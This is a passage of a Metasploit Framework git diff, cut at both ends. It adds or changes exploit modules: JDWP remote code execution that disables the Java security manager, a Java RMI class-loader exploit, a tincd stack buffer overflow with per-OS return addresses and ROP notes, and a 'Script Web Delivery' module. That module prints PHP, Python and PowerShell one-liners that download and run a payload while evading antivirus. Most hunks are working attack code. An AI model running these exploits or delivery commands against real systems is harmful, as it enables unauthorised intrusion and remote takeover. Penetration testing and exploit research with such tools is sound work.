executed + cmd_obj_ids = create_string(cmd) + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets Runtime context + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + rt = unformat(size, buf[1..1+size-1]) + if rt.nil? || (rt == 0) + fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") + end + + # 3. Finds and executes "exec" method supplying the string with the command + exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") + if exec_meth.nil? + fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") + end + + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + end + + # Set event for stepping into a running thread + def set_step_event + # 1. Select a thread in sleeping status + t_id = nil + @threads.each_key do |thread| + if thread_status(thread) == THREAD_SLEEPING_STATUS + t_id = thread + break + end + end + fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil? + + # 2. Suspend the VM before setting the event + suspend_vm + + vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}") + step_info = format(@vars["objectid_size"], t_id) + step_info << [STEP_MIN].pack('N') + step_info << [STEP_INTO].pack('N') + data = [[MODKIND_STEP, step_info]] + + r_id = send_event(EVENT_STEP, data) + unless r_id + fail_with(Failure::Unknown, "Could not set the event") + end + + return r_id, t_id + end + + # Disables security manager if it's set on target JVM + def disable_sec_manager + sys_class = get_class_by_name("Ljava/lang/System;") + + fields = get_fields(sys_class["reftype_id"]) + + sec_field = nil + + fields.each do |field| + sec_field = field["field_id"] if field["name"].downcase == "security" + end + + fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil? + + value = get_value(sys_class["reftype_id"], sec_field) + + if(value == 0) + print_good("#{peer} - Security manager was not set") + else + set_value(sys_class["reftype_id"], sec_field, 0) + if get_value(sys_class["reftype_id"], sec_field) == 0 + print_good("#{peer} - Security manager has been disabled") + else + print_good("#{peer} - Security manager has not been disabled, trying anyway...") + end + end + end + + # Uploads & executes the payload on the target VM + def exec_payload(thread_id) + # 0. Fingerprinting OS + fingerprint_os(thread_id) + + vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}") + + # 1. Prepares the payload + payload_exe, pl_exe = setup_payload + + # 2. Creates file on server for dumping payload + file = create_file(thread_id, payload_exe) + + # 3. Uploads payload to the server + pl = upload_payload(thread_id, pl_exe) + + # 4. Dumps uploaded payload into file on the server + dump_payload(thread_id, file, pl) + + # 5. Closes the file on the server + close_file(thread_id, file) + + # 5b. When linux arch, give execution permissions to file + if target['Platform'] == 'linux' + cmd = "chmod +x #{payload_exe}" + execute_command(thread_id, cmd) + end + + # 6. Executes the dumped payload + cmd = "#{payload_exe}" + execute_command(thread_id, cmd) + end + + + def exploit + @my_id = 0x01 + @vars = {} + @classes = [] + @methods = {} + @threads = {} + @os = nil + + connect + + unless handshake == HANDSHAKE + fail_with(Failure::NotVulnerable, "JDWP Protocol not found") + end + + print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...") + get_sizes + + print_status("#{peer} - Getting the version of the target VM...") + get_version + + print_status("#{peer} - Getting all currently loaded classes by the target VM...") + get_all_classes + + print_status("#{peer} - Getting all running threads in the target VM...") + get_all_threads + + print_status("#{peer} - Setting 'step into' event...") + r_id, t_id = set_step_event + + print_status("#{peer} - Resuming VM and waiting for an event...") + response = resume_vm + + unless parse_event(response, r_id, t_id) + datastore['NUM_RETRIES'].times do |i| + print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...") + buf = read_reply + break if parse_event(buf, r_id, t_id) + + if i == datastore['NUM_RETRIES'] + fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts") + end + end + end + + vprint_status("#{peer} - Received matching event from thread #{t_id}") + print_status("#{peer} - Deleting step event...") + clear_event(EVENT_STEP, r_id) + + print_status("#{peer} - Disabling security manager if set...") + disable_sec_manager + + print_status("#{peer} - Dropping and executing payload...") + exec_payload(t_id) + + disconnect + end +end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 85d6f43fa4..ca24e3f50f 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,8 +8,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, @@ -38,10 +38,14 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => 'Oct 15 2011', 'Platform' => %w{ java linux osx solaris win }, - 'Privileged' => true, - 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, - 'Stance' => Msf::Exploit::Stance::Aggressive, - 'Targets' => + 'Privileged' => false, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'Targets' => [ [ 'Generic (Java Payload)', { @@ -74,16 +78,41 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) - register_options( [ Opt::RPORT(1099) ], self.class) + register_options([ + Opt::RPORT(1099), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), + ], self.class) register_autofilter_ports([ 1098, 1099 ]) register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry }) end def exploit - start_service() + begin + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stops due to our timeout, re-raise + # RuntimeError so it won't wait the full wfs_delay + raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" + rescue Msf::Exploit::Failed + # When the server stops due primer failing, re-raise + # RuntimeError so it won't wait the full wfs_delays + raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" + rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e + # When the primer fails due to an error connecting with + # the rhost, re-raise RuntimeError so it won't wait the + # full wfs_delays + raise ::RuntimeError, e.message + end + end + + def peer + "#{rhost}:#{rport}" + end + + def primer connect jar = rand_text_alpha(rand(8)+1) + '.jar' @@ -99,32 +128,29 @@ class Metasploit3 < Msf::Exploit::Remote packet[idx, find_me.length] = len + new_url # write out minimal header and packet - print_status("Connected and sending request for #{new_url}") + print_status("#{peer} - Connected and sending request for #{new_url}") #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet); sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet) buf = "" 1.upto(6) do res = sock.get_once(-1, 5) rescue nil - break if not res + break unless res break if session_created? buf << res end + disconnect + if buf =~ /RMI class loader disabled/ - print_error("Not exploitable: the RMI class loader is disabled") - return + fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled") end - print_good("Target #{rhost}:#{rport} may be exploitable...") - - # Wait for the request to be handled - 1.upto(120) do - break if session_created? - select(nil, nil, nil, 0.25) - handler() + if buf =~ /java.lang.ClassNotFoundException/ + fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload") end + print_good("#{peer} - Target may be exploitable...") end def on_request_uri(cli, request) @@ -145,6 +171,7 @@ class Metasploit3 < Msf::Exploit::Remote }) print_status("Replied to request for payload JAR") + stop_service end end diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb index a0155ef1ed..c15c193ead 100644 --- a/modules/exploits/multi/misc/openview_omniback_exec.rb +++ b/modules/exploits/multi/misc/openview_omniback_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index 05c93f2e96..4b95b3ec14 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb index 9389a464b4..ed53e0b7f2 100644 --- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb +++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb index 34223304d4..5048621ac6 100644 --- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb +++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,11 +59,11 @@ class Metasploit3 < Msf::Exploit::Remote buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n" sock.put(buf) - banner = sock.get(3,3) + banner = sock.get_once disconnect - if (banner and banner =~ /#{sploit}/) + if banner.to_s.index(sploit) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote buf << "\n" sock.put(buf) - res = sock.get(-1,3) + res = sock.get_once print_status(res.to_s) diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index bcc248f68d..10e103dc67 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index 505172d82d..9762c192fc 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/zend_java_bridge.rb b/modules/exploits/multi/misc/zend_java_bridge.rb index 3abfc02b98..a433889c5e 100644 --- a/modules/exploits/multi/misc/zend_java_bridge.rb +++ b/modules/exploits/multi/misc/zend_java_bridge.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/ntp/ntp_overflow.rb b/modules/exploits/multi/ntp/ntp_overflow.rb index 1a2428cbf8..5b0e336fc0 100644 --- a/modules/exploits/multi/ntp/ntp_overflow.rb +++ b/modules/exploits/multi/ntp/ntp_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index b18a55f292..a6883a67ca 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', # module development - 'GML <grandmasterlogic [at] gmail.com>', # module development and debugging - 'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited + 'GML <grandmasterlogic[at]gmail.com>', # module development and debugging + 'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited ], 'License' => MSF_LICENSE, 'References' => @@ -255,7 +255,7 @@ class Metasploit3 < Msf::Exploit::Remote end # Detect the phpBB cookie name - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/) + if res.get_cookies =~ /(.*)_(sid|data)=/ vprint_status("The server may require a cookie name of '#{$1}_data'") end diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index 0166bc45e2..7f09d577a2 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index 987596ab09..61b785aa26 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index fb65d4019c..b3c0b8d8a6 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 8a7ac17992..da27883df6 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -56,7 +56,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' }, ], ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index a5a73f8f3e..5f19e6518f 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -66,7 +66,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 2b32642ace..3317ebcd9a 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -67,7 +67,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb new file mode 100644 index 0000000000..5775bc3ddc --- /dev/null +++ b/modules/exploits/multi/script/web_delivery.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Script Web Delivery', + 'Description' => %q( + This module quickly fires up a web server that serves a payload. + The provided command will start the specified scripting language interpreter and then download and execute the + payload. The main purpose of this module is to quickly establish a session on a target + machine when the attacker has to manually type in the command himself, e.g. Command Injection, + RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not + write to disk so it is less likely to trigger AV solutions and will allow privilege + escalations supplied by Meterpreter. When using either of the PSH targets, ensure the + payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute + x86 payloads on x64 machines. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrew Smith "jakx" <jakx.ppr@gmail.com>', + 'Ben Campbell', + 'Chris Campbell' # @obscuresec - Inspiration n.b. no relation! + ], + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'References' => + [ + ['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], + ['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], + ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], + ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] + ], + 'Platform' => %w(python php win), + 'Targets' => + [ + ['Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + }], + ['PHP', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + }], + ['PSH', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X86_64] + }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 19 2013' + )) + end + + def on_request_uri(cli, _request) + print_status('Delivering Payload') + if target.name.include? 'PSH' + data = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + remove_comspec: true, + use_single_quotes: true + ) + else + data = %Q(#{payload.encoded} ) + end + send_response(cli, data, 'Content-Type' => 'application/octet-stream') + end + + def primer + url = get_uri + print_status('Run the following command on the target machine:') + case target.name + when 'PHP' + print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"") + when 'Python' + print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") + when 'PSH' + ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl + download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))" + print_line generate_psh_command_line( + noprofile: true, + windowstyle: 'hidden', + command: download_and_run + ) + end + end +end diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 027144e742..a2a1cc65af 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::CmdStagerBourne + include Msf::Exploit::CmdStager attr_accessor :ssh_socket @@ -46,21 +46,22 @@ class Metasploit3 < Msf::Exploit::Remote { 'Arch' => ARCH_X86, 'Platform' => 'linux' - }, + } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' - }, + } ], [ 'OSX x86', { 'Arch' => ARCH_X86, 'Platform' => 'osx' - }, - ], + } + ] ], + 'CmdStagerFlavor' => %w{ bourne echo printf }, 'DefaultTarget' => 0, # For the CVE 'DisclosureDate' => 'Jan 01 1999' @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_command(cmd, opts = {}) + vprint_status("Executing #{cmd}") begin Timeout.timeout(3) do self.ssh_socket.exec!("#{cmd}\n") @@ -106,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote begin self.ssh_socket = Net::SSH.start(ip, user, opt_hash) - rescue Rex::ConnectionError, Rex::AddressInUse + rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') @@ -125,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...") + print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...") execute_cmdstager({:linemax => 500}) end end diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index dc295f937a..7f5a0f9234 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 8cfd039746..d7b0a59908 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb new file mode 100644 index 0000000000..f0881bcd90 --- /dev/null +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -0,0 +1,527 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'securerandom' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::TincdExploitClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Tinc's tincd + service. After authentication, a specially crafted tcp packet (default port 655) + leads to a buffer overflow and allows to execute arbitrary code. This module has + been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7 + (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of + FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works + for all versions <= 1.1pre6. + A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to + be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd + was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module + it was recommended to the maintainer to start using DEP/ASLR and other protection + mechanisms. + }, + 'Author' => + [ + # PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module + 'Tobias Ospelt <tobias[at]modzero.ch>', # @floyd_ch + # original finding, python PoC crash + 'Martin Schobert <schobert[at]modzero.ch>' # @nitram2342 + ], + 'References' => + [ + ['CVE', '2013-1428'], + ['OSVDB', '92653'], + ['BID', '59369'], + ['URL', 'http://www.floyd.ch/?p=741'], + ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'], + ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'Space' => 1675, + 'DisableNops' => true + }, + 'Privileged' => true, + 'Targets' => + [ + # full exploitation x86: + ['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }], + ['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', { + 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 } + ], + ['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', { + 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 } + ], + ['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }], + ['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }], + # full exploitation ARM: + ['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', { + 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 } + ], + ['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', { + 'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 } + ], + # crash only: + ['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], + ['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }] + ], + 'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013 + 'DefaultTarget' => 0)) + + register_options( + [ # Only for shellcodes that write binary to disk + # Has to be short, usually either . or /tmp works + # /tmp could be mounted as noexec + # . is usually only working if tincd is running as root + OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']), + OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]), + OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3]) + ], self + ) + end + + def exploit + # # + # x86 + # # + # WINDOWS XP and 7 full exploitation + # Simple, we only need some mona.py magic + # C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5" + # !mona config -set workingfolder c:\logs\%p + # !mona pc 1682 + # --> C:\logs\tincd\pattern + # !mona findmsp + # Straight forward, when we overwrite EIP the second value + # on the stack is pointing to our payload. + # !mona findwild -o -type instr -s "pop r32# ret" + + # FREEBSD full exploitation + # Same offset as windows, same exploitation method + # But we needed a new pop r32# ret for the freebsd version + # No mona.py help on bsd or linux so: + # - Dumped .text part of tincd binary in gdb + # - Search in hex editor for opcodes for "pop r32# ret": + # 58c3, 59c3, ..., 5fc3 + # - Found a couple of 5dc3. ret = start of .text + offset in hex editor + # - 0x0804BABB works very well + + # UBUNTU crash only + # Manually compiled version 